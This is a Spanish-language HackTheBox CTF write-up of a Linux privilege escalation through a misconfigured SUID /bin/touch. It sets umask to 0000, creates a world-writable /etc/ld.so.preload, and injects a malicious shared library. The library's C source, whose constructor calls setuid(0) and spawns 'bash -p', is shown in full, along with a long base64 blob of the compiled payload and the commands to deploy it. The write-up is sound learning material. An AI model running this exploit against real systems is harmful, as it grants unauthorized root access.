Usa el árbol para saltar entre colecciones sin salir del lector.

archivo Seleccionar un writeup Abrir árbol
HackTheBox/Challenges/Challenge Touch.md READ_ONLY

Challenge Touch

Este reto consiste en elevar privilegios a root en un entorno restringido y la solución consiste en manipular los permisos de archivos mediante el comando umask y explotar un binario SUID mal configurado para inyectar una biblioteca compartida maliciosa.

Al conectarse a la máquina objetivo, el reconocimiento inicial revela un entorno altamente restringido. La shell muestra advertencias sobre la incapacidad de configurar el grupo de procesos del terminal y la ausencia de control de trabajos.

$ nc 154.57.164.70 31761
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
ctf@ng-453332-misctouchmp-enubp-6b5d86459d-v4sfd:/$

Al listar los archivos en el directorio raíz se evidencia que todos los directorios y archivos pertenecen al usuario root. Al verificar la identidad del usuario actual, se confirma que la shell se ejecuta como el usuario ctf, lo que significa que no hay archivos o carpetas propiedad del usuario en el entorno inmediato.

$ ls -la
total 4
drwxr-xr-x.    1 root root   17 Jun 23 15:01 .
drwxr-xr-x.    1 root root   17 Jun 23 15:01 ..
drwxr-xr-x.    1 root root   19 Aug  1  2022 bin
drwxr-xr-x.    2 root root    6 Mar 19  2022 boot
drwxr-xr-x.    5 root root  340 Jun 23 15:01 dev
drwxr-xr-x.    1 root root   19 Jun 23 15:01 etc
drwxr-xr-x.    1 root root   17 Aug  2  2022 home
drwxr-xr-x.    1 root root   30 Aug  1  2022 lib
drwxr-xr-x.    2 root root   34 Aug  1  2022 lib64
drwxr-xr-x.    2 root root    6 Aug  1  2022 media
drwxr-xr-x.    2 root root    6 Aug  1  2022 mnt
drwxr-xr-x.    2 root root    6 Aug  1  2022 opt
dr-xr-xr-x. 1125 root root    0 Jun 23 15:01 proc
drwx------.    1 root root   22 Aug  2  2022 root
drwxr-xr-x.    3 root root   30 Aug  1  2022 run
drwxr-xr-x.    2 root root 4096 Aug  1  2022 sbin
drwxr-xr-x.    2 root root    6 Aug  1  2022 srv
dr-xr-xr-x.   13 root root    0 May  1 00:09 sys
drwxrwxrwt.    2 root root    6 Aug  1  2022 tmp
drwxr-xr-x.    1 root root   41 Aug  1  2022 usr
drwxr-xr-x.    1 root root   17 Aug  1  2022 var
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)

Frente a la restricción de no poseer ningún directorio, un enfoque estándar es buscar binarios con permisos SUID (Set Owner User ID). Dichos archivos se ejecutan con los privilegios de su propietario (en este caso, root), lo que a menudo puede aprovecharse para la escalada de privilegios.

$ find / -perm -4000 2>/dev/null
/bin/mount
/bin/su
/bin/touch
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd

El resultado destaca que /bin/touch tiene permisos SUID. Esta es una configuración inusual. Dado que touch crea archivos o actualiza sus marcas de tiempo, y se ejecuta como root, puede ser manipulado para crear archivos en cualquier parte del sistema de archivos. Sin embargo, la simple creación de un archivo vacío como root no otorga privilegios de ejecución. Para verificar si los permisos de los archivos pueden ser controlados, se puede utilizar el comando umask. Al establecer el valor de umask en 0000, cualquier archivo recién creado tendrá permisos de lectura y escritura para todos (666).

$ umask 0000

Se prueba esta teoría creando un archivo en el directorio /tmp, lo cual confirma la configuración errónea.

$ /bin/touch /tmp/test.txt
$ ls -la /tmp
total 0
drwxrwxrwt. 1 root root 22 Jun 23 15:23 .
drwxr-xr-x. 1 root root 28 Jun 23 15:01 ..
-rw-rw-rw-. 1 root root  0 Jun 23 15:23 test.txt

El archivo creado test.txt posee permisos -rw-rw-rw-. Esto implica que cualquier archivo creado con el binario SUID /bin/touch tendrá permisos de escritura para el usuario ctf. Este comportamiento puede ser explotado para crear un archivo /etc/ld.so.preload con permisos de escritura global. El archivo /etc/ld.so.preload es utilizado por el enlazador dinámico para cargar las bibliotecas compartidas especificadas antes que cualquier otra, para todos los ejecutables vinculados dinámicamente. Al inyectar una biblioteca personalizada en este archivo, se puede lograr la ejecución de código como root cuando se ejecuta cualquier binario SUID.

Para explotar esto, se debe crear una biblioteca compartida maliciosa en C. La biblioteca necesita una función constructora, la cual se ejecuta automáticamente cuando se carga la biblioteca. Esta función limpiará el archivo /etc/ld.so.preload para evitar romper el sistema, establecerá los identificadores de usuario y grupo a root, y lanzará una shell.

$ cat exploit/exploit.c

__attribute__((constructor))
static void pwn(void) {
  unlink("/etc/ld.so.preload");
  setuid(0);
  setgid(0);
  execl("/bin/bash", "bash", "-p", NULL);
}

int main(void) { return 0; }

Luego, el código se compila en una biblioteca compartida.

$ gcc -shared -fPIC -o exploit.so exploit/exploit.c

Para transferir el binario compilado al objetivo remoto, se comprime y se codifica en formato Base64 localmente.

$ gzip -9 -c exploit.so | base64
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
/g+eiXcQv+v9C8+W/kroPAAA

En la máquina objetivo, la cadena en base64 se decodifica y descomprime para reconstruir la biblioteca compartida en el directorio /tmp.

$ echo "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" | base64 -d | gunzip -c > /tmp/malicious.so

Con el payload listo, el entorno está preparado para la explotación. Asegurando que umask esté configurado apropiadamente, se crea /etc/ld.so.preload usando el binario SUID /bin/touch.

$ umask 0000
$ /bin/touch /etc/ld.so.preload

Verificar los permisos del archivo recién creado confirma que tiene permisos de escritura global, lo que permite a cualquier usuario agregar contenido.

$ ls -l /etc/ld.so.preload
-rw-rw-rw-. 1 root root 0 Jun 23 16:16 /etc/ld.so.preload

Luego, se escribe la ruta absoluta de la biblioteca compartida maliciosa en /etc/ld.so.preload.

$ echo "/tmp/malicious.so" > /etc/ld.so.preload

Para activar la ejecución del código inyectado, se debe ejecutar un binario vinculado dinámicamente con permisos SUID. Dado que /bin/touch posee permisos SUID, su ejecución obligará al enlazador dinámico a cargar la biblioteca compartida maliciosa con privilegios de root.

$ /bin/touch /tmp/pwned

La función constructora en la biblioteca compartida lanza una nueva shell. Una rápida verificación confirma que el usuario actual es ahora root.

$ whoami
root

Con el acceso administrativo asegurado, se puede recuperar la flag final del directorio root, concluyendo el desafío.

$ cd root
$ cat flag.txt
HTB{FLAG}